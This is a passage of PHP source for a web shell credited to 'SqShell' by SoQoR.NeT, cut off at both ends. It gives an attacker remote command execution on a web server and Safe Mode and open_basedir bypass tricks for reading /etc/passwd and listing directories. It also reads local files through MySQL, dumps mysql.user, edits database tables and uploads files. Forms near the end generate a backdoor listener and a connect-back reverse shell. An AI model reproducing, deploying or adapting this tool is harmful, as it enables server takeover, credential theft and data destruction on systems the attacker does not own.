  echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  Echo htmlspecialchars(command("cat $filename"));
  echo "</textarea>";
 }
 elseif($_POST['bug']=='Id Only /etc/passwd')
 {
echo "read file id" ,"<br>";
echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";



      for($uid=0;$uid<60000;$uid++)
      {   //cat /etc/passwd
            $ara = posix_getpwuid($uid);
             if (!empty($ara))
             {
                  while (list ($key, $val) = each($ara))
                  {
                   print "$val:";
                  }
                   print "
";
              }
      }
      echo "</textarea>";
      break;
 }
 else
 {
  Echo "No Bug Selected .. !!";
 }

}
elseif($_INPUT['do']=='bypass_dir')
{
$dirname = stripslashes($_POST['dirname']);
 Echo "Listing Directory [$dirname] By ".$_POST['bug']." - <br><br>";

   if($_POST['bug']=='GLOB')
   {

    $root=$dirname;
echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  $c = 0; $D = array();
//  set_error_handler("eh");

  $chars = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";

  for($i=0; $i < strlen($chars); $i++){
  $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}";

  $prevD = $D[count($D)-1];
  glob($path."*");

        if($D[count($D)-1] != $prevD){

        for($j=0; $j < strlen($chars); $j++){

           $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}";

           $prevD2 = $D[count($D)-1];
           glob($path."*");

              if($D[count($D)-1] != $prevD2){


                 for($p=0; $p < strlen($chars); $p++){

                 $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}";

                 $prevD3 = $D[count($D)-1];
                 glob($path."*");

                    if($D[count($D)-1] != $prevD3){


                       for($r=0; $r < strlen($chars); $r++){

                       $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}";
                       glob($path."*");

                       }

                    }

                 }

              }

        }

        }

  }

  $D = array_unique($D);


  foreach($D as $item) echo "{$item}
";

  echo "</textarea>";
   }
   elseif($_POST['bug']=='IMAP')
   {
      $string=$dirname;

      echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";

      $stream = imap_open("/etc/passwd", "", "");
      if ($stream == FALSE)
      die("Can't open imap stream");
      $string = explode("|",$string);
      if (count($string) > 1)
      $dir_list = imap_list($stream, trim($string[0]), trim($string[1]));
      else
      $dir_list = imap_list($stream, trim($string[0]), "*");
      echo "<pre>";
      for ($i = 0; $i < count($dir_list); $i++)
      echo "$dir_list[$i]"."<p>&nbsp;</p>" ;
      echo "</pre>";
      imap_close($stream);
      echo "</textarea>";

   }
   elseif($_POST['bug']=='OpenDir')
   {
   echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
   $fp = opendir($dirname);
    while($dir_name = readdir($fp))
    {

      Echo $dir_name."		".showperms(fileperms($dirname.$directorysperator.$dir_name))."
";

    }
    Echo "</textarea>";
   }
   elseif($_POST['bug']=='Shell_Command')
   {
   echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
   if(!$windows)
   {
   Echo command("ls -la $dirname");
   }
   else
   {
   command("cd $dirname");
   Echo command("dir");
   }
   Echo "</textarea>";
   }
   else
   {
           Echo "No Bug Selected";
   }
}

}
elseif($_INPUT['CODE']=='mysql')
{

   if($_INPUT['do']=='readfile')
   {

echo "Reading file Via Mysql","<br>" ;
echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";

Echo "Using User Name $_POST[user]
Using Pass $_POST[password]
Using DB : $_POST[dbname]
---------------------------
Result

";

$file=$_POST['file'];


$mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf";
$mysql_files = explode(':', $mysql_files_str);

$sql = array (
"USE ".$_POST['dbname']."",
'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',
"LOAD DATA LOCAL INFILE '$file' INTO TABLE ".$_POST['dbname']." FIELDS "
. "TERMINATED BY       '__THIS_NEVER_HAPPENS__' "
. "ESCAPED BY          '' "
. "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",

"SELECT a FROM ".$_POST['dbname']." LIMIT 1"
);
$con = mysql_connect ($_POST['host'], $_POST['user'], $_POST['password']);
mysql_select_DB($_POST['dbname'],$con);
                                                                foreach ($sql as $statement) {
                                                                   $q = mysql_query ($statement);

                                                                   if ($q == false) die (
                                                                      "FAILED: " . $statement . "
" .
                                                                      "REASON: " . mysql_error () . "
"
                                                                   );

                                                                   if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;

                                                                   echo htmlspecialchars($r[0]);
                                                                   mysql_free_result ($q);
                                                                }
echo "</textarea>";
   }
   elseif($_INPUT['do']=='query')
   {
echo "Executing Mysql Query","<br><br>[ ".htmlspecialchars($_POST['query'])." ]<br><br>" ;
echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";

Echo "Using User Name $_POST[user]
Using Pass $_POST[password]
Using DB : $_POST[dbname]
---------------------------
Result

";

$con = mysql_connect ($_POST['host'], $_POST['user'], $_POST['password']);
@mysql_select_DB($_POST['dbname'],$con);

     $q = mysql_query ($_POST['query']);
$i=0;
   if ($q == false) die ("FAILED: " . $_POST['query'] . "
" ."REASON: " . mysql_error () . "
");
   while($r = @mysql_fetch_array ($q))
   {
   $i++;
    Echo "
---------------------------
"."Result Number [$i]:-
---------------------------
";
   foreach($r as $key => $val)
   {
    if(!is_numeric($key))
    {
     Echo "$key => ".htmlspecialchars($val)."
";
    }
   }
   }
   @mysql_free_result ($q);

echo "</textarea>";

   }
   elseif($_INPUT['do']=="db")
   {
   $databases=array();
         $conn=mysql_connect($_INPUT['host'],$_INPUT['user'],$_INPUT['password']) or die("Error User Name Or Password");
         if(strlen($_INPUT['dbname'])>1)
         {
              mysql_select_db($_INPUT['dbname'],$conn) or die("Wrong Table For that user");

              $query=mysql_list_tables($_INPUT['dbname']);
              $tables='';
             $href=$md5."CODE=mysql&do=db&path=".GETCWD()."&host=".$_INPUT['host']."&user=".$_INPUT['user'].'&password='.$_INPUT['password'].'&dbname='.$_INPUT['dbname'];
              while($row=mysql_fetch_array($query))
              {
               $tname=$row['Tables_in_'.$_INPUT['dbname']];
                $action=$link.base64_encode("$href&table=$tname");
               $tables=$tables."<a href=\"$action\">$tname</a><br>";

              }
              $href=$md5."CODE=mysql&do=db&path=".GETCWD()."&host=".$_INPUT['host']."&user=".$_INPUT['user'].'&password='.$_INPUT['password'].'&dbname='.$_INPUT['dbname'];
              $amain=$link.base64_encode($href);
              $aquery=$link.base64_encode($href."&act_do=query");
              $adump=$link.base64_encode($href."&act_do=dump");
              $aexit=$link.base64_encode($md5);
              Echo "<table style=\"color:#5E5B5B;font-size:12px;font-family:Verdana;\" width=\"100%\">
              <tr>
              <td colspan=\"2\" style=\"border: 1px solid #000000;\" align=\"center\"><font size=\"4\"><a href=\"$amain\">Main</a> - <a href=\"$aquery\">Query</a> - <a href=\"$adump\">Dump</a> - <a href=\"$aexit\">Exit</a></font></td>
              </tr>
              <tr>
              <td width=\"25%\" style=\"border: 1px solid #000000;\" valign=\"top\">";

             $href=$md5."CODE=mysql&do=db&path=".GETCWD()."&host=".$_INPUT['host']."&user=".$_INPUT['user'].'&password='.$_INPUT['password'];
              $back=$link.base64_encode($href);
              Echo "<a href=\"$back\" style=\"color:red\">-[ Select Another Database ]-</a><br><hr>";
              Echo $tables;
              Echo "</td>
              <td width=\"75%\" style=\"border: 1px solid #000000;\" valign=\"top\"><h3>Controling Table ".$_INPUT['table']."</h3>&nbsp;<br>";
              if(strlen($_INPUT['table'])>1)
              {
              $fields=array();
               $query = mysql_query("SHOW FIELDS FROM `".$_INPUT['table']."`");
               while($row=mysql_fetch_array($query))
               {
                $frows[$row['Field']]=$row;
                $fields[]=$row['Field'];
                if($row['Extra']=="auto_increment")
                {
                 $skey=$row['Field'];

                }
               }
               if($_INPUT['t_act']=="delete")
               {
                if(empty($_INPUT['t_act_do']))
                {
                  $kkey=$_INPUT['key'];
                  $edit_query=mysql_query("select * FROM `".$_INPUT['table']."` where ".$kkey.'=\''.$_INPUT[$kkey].'\'');
             $href=$md5."CODE=mysql&do=db&path=".GETCWD()."&host=".$_INPUT['host']."&user=".$_INPUT['user'].'&password='.$_INPUT['password'].'&dbname='.$_INPUT['dbname'].'&table='.$_INPUT['table'].'&';
             $action=$link.base64_encode("$href&t_act=delete&t_act_do=delete&key=".$_INPUT['key']."&".$_INPUT['key']."=".$_INPUT[$kkey]."");

                  Echo "<form name=edit action='$action' method='post'>
                         <input type=hidden name='t_act_do' value='delete'>";
              Echo "<table style=\"color:#000000;font-size:12px;font-family:Verdana;\" width=\"100%\">
              <tr>
              <td colspan=\"2\" style=\"border: 1px solid #000000;\" align=\"center\">Deleting Row</td>
              </tr>              <tr>
              <td colspan=\"2\" style=\"border: 1px solid #000000;\" align=\"center\">Are You Sre You want Delete the row where is $kkey = ".$_INPUT[$kkey]."</td>
              </tr>";

                   Echo "<tr align='center'><td colspan=2 style=\"border: 1px solid #000000;\"><input type='submit' value='- - Delete - -'> -- -- -- <input type='reset' value='- - Back - -' onclick='window.location=javascript:history.back()'></td></tr>";
                  Echo "</table></form>";
                }
                else
                {
                  $kkey=$_INPUT['key'];
                  $href=$md5."CODE=mysql&do=db&path=".GETCWD()."&host=".$_INPUT['host']."&user=".$_INPUT['user'].'&password='.$_INPUT['password'].'&dbname='.$_INPUT['dbname'].'&table='.$_INPUT['table'].'&';
                  $ed_ag=$link.base64_encode("$href&t_act=delete&key=".$_INPUT['key']."&".$_INPUT['key']."=".$_INPUT[$kkey]."");
                  $bk_tb=$link.base64_encode("$href");
                  $comma='';
                  $sets='';
                  $update_q=mysql_query("delete from `".$_INPUT['table']."` where ".$kkey.'=\''.$_INPUT[$kkey].'\'');
                  if(!$update_q)
                  {
                   Echo "<h3>Problem And Was Not Deleted ..</h3><br><Br><a href='$ed_ag'>Delete Again</a> - <a href='$bk_tb'>Back to table</a>";
                  }
                  else
                  {
                   Echo "<h3>Deleted ..</h3><br><Br><a href='$bk_tb'>Back to table</a>";
                  }
                }
               }
               elseif($_INPUT['t_act']=="edit")
               {

                if(empty($_INPUT['t_act_do']))
                {
                  $kkey=$_INPUT['key'];
                  $edit_query=mysql_query("select * FROM `".$_INPUT['table']."` where ".$kkey.'=\''.$_INPUT[$kkey].'\'');
             $href=$md5."CODE=mysql&do=db&path=".GETCWD()."&host=".$_INPUT['host']."&user=".$_INPUT['user'].'&password='.$_INPUT['password'].'&dbname='.$_INPUT['dbname'].'&table='.$_INPUT['table'].'&';
             $action=$link.base64_encode("$href&t_act=edit&t_act_do=edit&key=".$_INPUT['key']."&".$_INPUT['key']."=$_INPUT[$kkey]");

                  Echo "<form name=edit action='$action' method='post'>
                         <input type=hidden name='t_act_do' value='edit'>";
              Echo "<table style=\"color:#5E5B5B;font-size:12px;font-family:Verdana;\" width=\"100%\">
              <tr>
              <td colspan=\"2\" style=\"border: 1px solid #000000;\" align=\"center\">Editing Row</td>
              </tr>";
                   while($row=mysql_fetch_array($edit_query))
                   {



                         foreach($fields as $key => $val)
                         {
                   Echo "<tr><td style=\"border: 1px solid #000000;\">";
                         Echo "$val</td><td style=\"border: 1px solid #000000;\">";
                          if(eregi("text",$frows[$val]['Type']))
                          {
                          Echo "<textarea name='".$val."' rows='5' cols='50'>".htmlspecialchars($row[$val])."</textarea>";
                          }
                          elseif(eregi("enum",$frows[$val]['Type']))
                          {
                          Echo "<input type='text' name='".$val."' value='".htmlspecialchars($row[$val])."' size='50'>";
                          }
                          else
                          {
                          Echo "<input type='text' name='".$val."' value='".htmlspecialchars($row[$val])."' size='50'>";
                          }
                    Echo "</td></tr>";
                         }

                   }
                   Echo "<tr align='center'><td colspan=2 style=\"border: 1px solid #000000;\"><input type='submit' value='- - Edit - -'> -- -- -- <input type='reset' value='- - Reset - -'></td></tr>";
                  Echo "</table></form>";
                }
                else
                {
                  $kkey=$_INPUT['key'];
                  $href=$md5."CODE=mysql&do=db&path=".GETCWD()."&host=".$_INPUT['host']."&user=".$_INPUT['user'].'&password='.$_INPUT['password'].'&dbname='.$_INPUT['dbname'].'&table='.$_INPUT['table'].'&';
                  $ed_ag=$link.base64_encode("$href&t_act=edit&key=".$_INPUT['key']."&".$_INPUT['key']."=$_INPUT[$kkey]");
                  $bk_tb=$link.base64_encode("$href");
                  $comma='';
                  $sets='';
                         foreach($fields as $key => $val)
                         {
                                 $sets.=$comma.'`'.$val.'`=\''.$_INPUT[$val].'\'';
                                 $comma=',';
                         }
                  $update_q=mysql_query("UPDATE `".$_INPUT['table']."` set $sets where ".$kkey.'=\''.$_INPUT[$kkey].'\'');
                  if(!$update_q)
                  {
                   Echo "<h3>Problem And Was Not Edited ..</h3><br><Br><a href='$ed_ag'>Edit Again</a> - <a href='$bk_tb'>Back to table</a>";
                  }
                  else
                  {
                   Echo "<h3>Edited ..</h3><br><Br><a href='$ed_ag'>Edit Again</a> - <a href='$bk_tb'>Back to table</a>";
                  }
                }
               }
               else
               {
               echo "<table style=\"border: 1px solid #000000;color:#000000;font-size:12px;font-family:Verdana;\"><tr>";
                Echo "<td style=\"border: 1px solid #000000;\">Delete</td>";
                Echo "<td style=\"border: 1px solid #000000;\">Edit</td>";
               foreach($fields as $key => $val)
               {
                Echo "<td style=\"border: 1px solid #000000;\">&nbsp;$val</td>";
               }

               echo "</tr>";

               $num_query=mysql_query("select * from `".$_INPUT['table']."`");

               $sql_page=($_INPUT['sql_page'])?$_INPUT['sql_page']:1;
               $start=($sql_page * 40)-40;
               $limit=$start.',40';

               $query=mysql_query("select * from `".$_INPUT['table']."` limit $limit");
             $href=$md5."CODE=mysql&do=db&path=".GETCWD()."&host=".$_INPUT['host']."&user=".$_INPUT['user'].'&password='.$_INPUT['password'].'&dbname='.$_INPUT['dbname'].'&table='.$_INPUT['table'].'&';
               while($row=mysql_fetch_array($query))
               {
               echo "<tr>";
               $dellink=$link.base64_encode("$href&t_act=delete&key=$skey&$skey=$row[$skey]");;
               $editlink=$link.base64_encode("$href&t_act=edit&key=$skey&$skey=$row[$skey]");;
                Echo "<td style=\"border: 1px solid #000000;\"><a href='$dellink'>Delete</a></td>";
                Echo "<td style=\"border: 1px solid #000000;\"><a href='$editlink'>Edit</a></td>";



               foreach($fields as $key => $val)
               {
                Echo "<td style=\"border: 1px solid #000000;\">&nbsp;".htmlspecialchars($row[$val])."</td>";
               }
               echo "</tr>";
               }
               Echo "</table>";
               $pages=mysql_num_rows($num_query);
               $page_nums=ceil($pages/40);

               for($i=0;$i<$page_nums;$i++)
               {
               $ii=$i+1;
               $hlink=$link.base64_encode("$href&sql_page=$ii");
                Echo "<a href='$hlink'>$ii</a>||";
               }
               }

              }
              else
              {
                 Echo "<h1>Controling Database ".$_INPUT['dbname']." </h1><font size=4>Select Table To Control The Table Rows</font><br>";
                               Echo $tables;
              }
              Echo "</td></tr></table>";
         }
         else
         {
         Echo "<h3>Select Database To Control</h3>";
         $query=mysql_list_dbs($conn);
         while($row=mysql_fetch_array($query))
         {
          $databases[]=$row['Database'];
         }
             $href=$md5."CODE=mysql&do=db&path=".GETCWD()."&host=".$_INPUT['host']."&user=".$_INPUT['user'].'&password='.$_INPUT['password'];
            foreach($databases as $key => $val)
            {
                $ahref=$href.'&dbname='.$val;

                $action=$link.base64_encode($ahref);
                echo("<a href=\"$action\">$val</a><br>");
            }
         }

   }
   else
   {
    Echo "<h2>Sql Manager</h2>";
$href=$md5."CODE=mysql&do=db&path=".GETCWD();
$action=$link.base64_encode($href);
Echo "<form name=\"sql-connect\" action=\"$action\" method=\"post\">
<table border=\"0\" id=\"contentpage\">
<tr>
<td>DB User</td>
<td>DB Pass</td>
<td>Db Name</td>
</tr>
<tr>
<td><input type=\"text\" name=\"user\" value=\"root\"></td>
<td><input type=\"text\" name=\"password\" value=\"\"></td>
<td><input type=\"text\" name=\"dbname\" value=\"test\"></td>
</tr>
<tr>
<td>DB Host</td>
<td>&nbsp;</td>
</tr>
<tr>
<td><input type=\"text\" name=\"host\" value=\"localhost\"></td>
<td><input type=submit value=\"Connect\"></td>
</tr>
</table></form>";
Echo "</center>";
   }

}
Echo '</td></tr></table> ';


//
//
//  Execute Commands To The System Via Shell Command Functions
//
//
Echo "<br><table align=center style=\"background:#F4F4F4;color:#6E6E6E;width: 95%;border: 1px solid #6E6E6E;margin: auto auto;font-size:12px;font-weight:bold;\">";
$action=$links[1];
Echo '<tr><td colspan="2">';
Echo '<center><form name="command" action="'.$action.'" method="post">Execute Comamnds To the Server : ';
Echo '<input type=text name="cdm" size="50">'."
<input type=submit value=\" - - - Go - - - \"></form> </center></td></tr><tr>";
Echo '<tr><td colspan="2">';
Echo '<center><form name="command" action="'.$action.'" method="post">Execute Specific Commands : ';
Echo '<select name="cdm">'.$commandsselects.'</select>'."
<input type=submit value=\" - - - Go - - - \"></form> </center></td></tr><tr></table>";

//
//
//  Execute Commands Done -- Now Tools And Things You Van Do And ByPass the system Security
//
//


Echo "<br>
<table align='center' border='1' bordercolor='#111111' style=\"background:#F4F4F4;color:#6E6E6E;border-collapse: collapse;width: 95%;margin: auto auto;font-size:12px;font-weight:bold;\">";
Echo '<tr style="background-color:black;color:#FFFFFF"><td colspan="2"><center>Uplad / Make - Files/Dirs</center></td></tr>';
Echo "<tr><td>";

$href=$md5."CODE=file&do=create&path=".GETCWD();
$action=$link.base64_encode($href);
Echo '<center><form name="make" action="'.$action.'" method="post">Make File : <input type="text" name="file" value='.$dir.$directorysperator.'>'."
<input type=submit value=\" - - - Go - - - \"></form> </center>";
Echo '</td>';
Echo '<td>';
$href=$md5."CODE=dir&do=up&path=".GETCWD();
$action=$link.base64_encode($href);
Echo '<center><form name="upload" action="'.$action.'" enctype="multipart/form-data" method="post">Upload File : <input type="file" name="file">'."
<input type=submit value=\" - - - Go - - - \"></form> </center>";
Echo '</td>';
Echo '</tr>';

Echo '<tr><td>';
$href=$md5."CODE=dir&do=crdir&path=".GETCWD();
$action=$link.base64_encode($href);
Echo '<center><form name="create" action="'.$action.'" method="post">Make Dir : <input type="text" name="dirname" value='.$dir.$directorysperator.'>'."
<input type=submit value=\" - - - Go - - - \"></form> </center>";
Echo '</td>';
Echo '<td>';
$href=$md5."CODE=dir&do=godir&path=".GETCWD();
$action=$link.base64_encode($href);
Echo '<center><form name="go" action="'.$action.'" method="post">Go To Dir : <input type="text" name="dirname" value='.$dir.$directorysperator.'>'."
<input type=submit value=\" - - - Go - - - \"></form> </center>";
Echo '</td>';
Echo '</tr>';

Echo '<tr style="background-color:black;color:#FFFFFF"><td colspan="2"><center>Safe Mode / Open_Basedir - ByPass</center></td></tr>';
$bugs="";
$arrays=array('Tempname','CURL','Copy','Ini_Restore','IMAP','ReadFile','File_Get_Contents','Shell_Command','Id Only /etc/passwd');
foreach($arrays as $key => $val)
{
 $bugs.="<option value='$val'>$val</option>";
}

Echo '<tr><td>';
$href=$md5."CODE=bypass&do=bypass_file&path=".GETCWD();
$action=$link.base64_encode($href);
Echo '<center><form name="create" action="'.$action.'" method="post">Read File : <input type="text" name="filename" value='.$dir.$directorysperator.'>';
Echo "<select name=\"bug\">$bugs</select>";
Echo "
<input type=submit value=\" - - - Go - - - \"></form> </center>";
Echo '</td>';
$bugs="";
$arrays=array('GLOB','IMAP','OpenDir','Shell_Command');
foreach($arrays as $key => $val)
{
 $bugs.="<option value='$val'>$val</option>";
}

Echo '<td>';
$href=$md5."CODE=bypass&do=bypass_dir&path=".GETCWD();
$action=$link.base64_encode($href);
Echo '<center><form name="go" action="'.$action.'" method="post">List Dir : <input type="text" name="dirname" value='.$dir.$directorysperator.'>';
Echo "<select name=\"bug\">$bugs</select>";
Echo "
<input type=submit value=\" - - - Go - - - \"></form> </center>";
Echo '</td>';
Echo '</tr>';

// -- Sql and Read File Via Sql
$href=$md5."CODE=mysql&do=readfile&path=".GETCWD();
$action=$link.base64_encode($href);
Echo '<tr style="background-color:black;color:#FFFFFF"><td colspan="2"><center>Mysql Staff</center></td></tr>';
Echo '<tr><td colspan=2>';

Echo "
<table align='center' border='0' bordercolor='#111111' style=\"background:#F4F4F4;color:#6E6E6E;border-collapse: collapse;width: 95%;margin: auto auto;font-size:12px;font-weight:bold;\"><tr><td>";
Echo '<center>';
Echo '<form name="mysql" action="'.$action.'" method="post">
DBHost : <input name="host" type="text" value="localhost">
<br>DBUser : <input name="user" type="text" value="root">
<br>DBPass : <input name="password" type="text" value="root">
<br>DBName : <input name="dbname" type="text" value="test">
<br>Filename : <input name="file" type="text" value="/etc/passwd">
<br><input type=submit value="Get File Contents"></form>';
Echo "</center>";
Echo '</td>';
$href=$md5."CODE=mysql&do=query&path=".GETCWD();
$action=$link.base64_encode($href);
Echo '<td>';
Echo '<center>';
Echo '<form name="mysql" action="'.$action.'" method="post">
DBHost : <input name="host" type="text" value="localhost">
<br>DBUser : <input name="user" type="text" value="root">
<br>DBPass : <input name="password" type="text" value="root">
<br>DBName : <input name="dbname" type="text" value="test">
<br>Query : <input name="query" type="text" value="select * from mysql.user">
<br><input type=submit value="Execute Query"></form>';
Echo "</center>";
Echo '</td>';

$href=$md5."CODE=mysql&do=db&path=".GETCWD();
$action=$link.base64_encode($href);
Echo '<td>';
Echo '<center>';
Echo '<form name="mysql" action="'.$action.'" method="post">
DBHost : <input name="host" type="text" value="localhost">
<br>DBUser : <input name="user" type="text" value="root">
<br>DBPass : <input name="password" type="text" value="root">
<br>DBName : <input name="dbname" type="text" value="test"><br><input type=submit value="Connect"></form>';
Echo "</center>";
Echo '</td>';
Echo '</tr></table>';

Echo '</td>';
Echo '</tr>';

// --- Back Door / Back Connection

$action=$links[2];
Echo '<tr style="background-color:black;color:#FFFFFF"><td colspan="2"><center>BackDoor  - BackConnecttion</center></td></tr>';
Echo '<tr><td>';
Echo '<center>';
Echo '<form name="back" action="'.$action.'" method="post"><input type="hidden" name="backdoored" value="1">Port : <input ReadOnly type="text" value="1666"><br><br><input type=submit value="Generate Backdoor"></form>';
Echo'</center>';
Echo '</td>';
$action=$links[3];
Echo '<td>';
Echo '<center>';
Echo "<form name=\"backcon\" action=\"$action\" method=\"post\">
<input type=\"hidden\" name=\"backdoored\" value=\"1\">
Ip : 
<input type=\"text\" name=\"i\" value=\"".getip()."\">
<br> Port : <input type=\"text\" name=\"p\" value=\"22290\"><br><br><input type=submit value=\"Connect-Back\"></form>";
Echo "</center>";
Echo '</td>';
Echo '</tr>';




Echo '</table>';

Echo "<br>
<table align=center style=\"background:#F4F4F4;color:#6E6E6E;width: 95%;border: 1px solid #6E6E6E;margin: auto auto;font-size:12px;font-weight:bold;\">";
Echo '
       <tr>
              <td align="center">
                  Copyright &copy; Is reserved to : <a href="mailto:[email protected]">HACKERS PAL</a>
                  <br>
                  SqShell By <a href="http://www.soqor.net">SoQoR.NeT</a> Team
              </td>
       </tr>';

Echo '</table>';
Echo "
</body>
</html>";


function size($value)
{

if($value >= (1024*1000*1000*1000))
{
  $size=($value/(1024*1000*1000*1000));
  $ex = ' TB';
}elseif($value >= (1024*1000*1000))
{
  $size=($value/(1024*1000*1000));
  $ex = ' GB';
}elseif($value >= (1024*1000))
{
  $size=($value/(1024*1000));
  $ex=' MB';
}elseif($value >= 1024)
{
  $size=($value/1024);
  $ex=' KB';
}else
{
  $size=$value;
  $ex = ' Byte';
}

return @round($size,2).$ex;
}


function command($cmda)
{
$return = '';
 if (!empty($cmda))
 {
  if(function_exists('exec'))
   {
    @exec($cmda,$return);

    $return = join("
",$return);

   }
  elseif(function_exists('shell_exec'))
   {
    $return = @shell_exec($cmda);
   }
  elseif(function_exists('system'))
   {
    @ob_start();
    @system($cmda);
    $return = @ob_get_contents();
    @ob_end_clean();
   }
   elseif(function_exists('passthru'))
   {
    @ob_start();
    @passthru($cmda);
    $return = @ob_get_contents();
    @ob_end_clean();
   }
  elseif(@is_resource($f = @popen($cmda,'r')))
  {
   $return = '';
   while(!@feof($f)) { $return .= @fread($f,1024); }
   @pclose($f);
  }
 }
 return $return;
}
function random($num)
{
$letters=array('a', 'b', 'c', 'd','e','f','g','h','i','j','k','l','m','n','o','p','q','r',
               's','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K',
               'L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');
               $i=0;
               while($i<$num)
               {
               $ret.=$letters[rand(1,52)];

               $i++;
               }
            return $ret;

}
function printfile($fileinfo)
{
GLOBAL $link,$directorysperator,$md5;


  $perhref=$md5.'CODE=perms&'.'path='.GETCWD().$directorysperator.$fileinfo['name'];
  if($fileinfo['size'] == 'dir')
  {
    $href=$md5.'CODE=dir&'.'path='.GETCWD().$directorysperator.$fileinfo['name'];
    $fileinfo['name']='['.$fileinfo['name'].']';
  }
  else
  {
    $href=$md5.'CODE=file&'.'path='.GETCWD().$directorysperator.$fileinfo['name'];
    $fileinfo['actions']='<a href="___1___">[DOWN]</a>-<a href="___2___">[Edit]</a>-<a href="___3___">[Del]</a>';
  }
     $herf1=$link.base64_encode("$href&do=down");
     $href2=$link.base64_encode("$href&do=edit");
     $href3=$link.base64_encode("$href&do=del");

     $fileinfo['actions']=str_replace('___1___',$herf1,$fileinfo['actions']);
     $fileinfo['actions']=str_replace('___2___',$href2,$fileinfo['actions']);
     $fileinfo['actions']=str_replace('___3___',$href3,$fileinfo['actions']);

     $href=$link.base64_encode($href);
     $perhref=$link.base64_encode($perhref);
       if($fileinfo['modify'] == 'Yes')
       {
        $pcolor='green';
       }elseif($fileinfo['read'] == 'Yes')
       {
        $pcolor='#000000';
       }
       else
       {
        $pcolor='red';
       }
        $fileinfo['read']        = '<font color="'.$pcolor.'">'.$fileinfo['read'].'</font>';
        $fileinfo['modify']      = '<font color="'.$pcolor.'">'.$fileinfo['modify'].'</font>';
        $fileinfo['permissions'] = '<font color="'.$pcolor.'">'.$fileinfo['permissions'].'</font>';

        if(!$fileinfo['actions'])
        {

                $fileinfo['actions']="Directory";
        }
      return '<tr><td width="30%"><a href="'.$href.'">'.$fileinfo['name'].'</a></td>
              <td>'.$fileinfo['size'].'</td>
              <td>'.$fileinfo['read'].'</td>
              <td>'.$fileinfo['modify'].'</td>
              <td>'.$fileinfo['owner'].'</td>
              <td><a href="'.$perhref.'">'.$fileinfo['permissions'].'</a></td>
              <td>'.$fileinfo['actions'].'</td></tr>';
}

function getperms($file)
{
    $perms = @fileperms($file);

       $info = showperms($perms);

      return $info;
}
function showperms($perms)
{
    if (($perms & 0xC000) == 0xC000) {
       // Socket
       $info = 's';
    } elseif (($perms & 0xA000) == 0xA000) {
       // Symbolic Link
       $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
       // Regular
       $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
       // Block special
       $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
       // Directory
       $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
       // Character special
       $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
       // FIFO pipe
       $info = 'p';
    } else {
       // Unknown
       $info = 'u';
    }

    // Owner
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ?
               (($perms & 0x0800) ? 's' : 'x' ) :
               (($perms & 0x0800) ? 'S' : '-'));

    // Group
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ?
               (($perms & 0x0400) ? 's' : 'x' ) :
               (($perms & 0x0400) ? 'S' : '-'));

    // World
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ?
               (($perms & 0x0200) ? 't' : 'x' ) :
               (($perms & 0x0200) ? 'T' : '-'));
      return $info;
}
function shownumperms($perms)
{
$info='';
$permissions='';
    // Owner
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ?
               (($perms & 0x0800) ? 's' : 'x' ) :
               (($perms & 0x0800) ? 'S' : '-'));
$permissions.=showpermsnum($info);
$info='';
    // Group
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ?
               (($perms & 0x0400) ? 's' : 'x' ) :
               (($perms & 0x0400) ? 'S' : '-'));

$permissions.=showpermsnum($info);
$info='';
    // World
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ?
               (($perms & 0x0200) ? 't' : 'x' ) :
               (($perms & 0x0200) ? 'T' : '-'));
$permissions.=showpermsnum($info);
      return $permissions;
}
function showpermsnum($perms)
{
$arrayper=array('---','--x','-w-','-wx','r--','r-x','rw-','rwx');
foreach($arrayper as $key => $val)
{
 if($val == $perms)
 {
  return $key;
 }
}
}
              function owner($file)
              {

                 if(function_exists('fileowner'))
                 {
                 $fileowneruid=@fileowner($file);
                 }

                 if(function_exists('posix_getpwuid'))
                 {
                  $fileownerarray=@posix_getpwuid($fileowneruid);
                 }

                 $fileowner=($fileownerarray['name'])?$fileownerarray['name']:$fileowneruid;

                 if(function_exists('filegroup'))
                 {
                  $fileg=@filegroup($file);
                 }

                 if(function_exists('posix_getgrgid'))
                 {
                  $groupinfo = @posix_getgrgid($fileg);
                 }

              $filegg=($groupinfo['name'])?$groupinfo['name']:$fileg;
              return "$fileowner/$filegg";
              }
              function getip()
              {
               global $_SERVER;

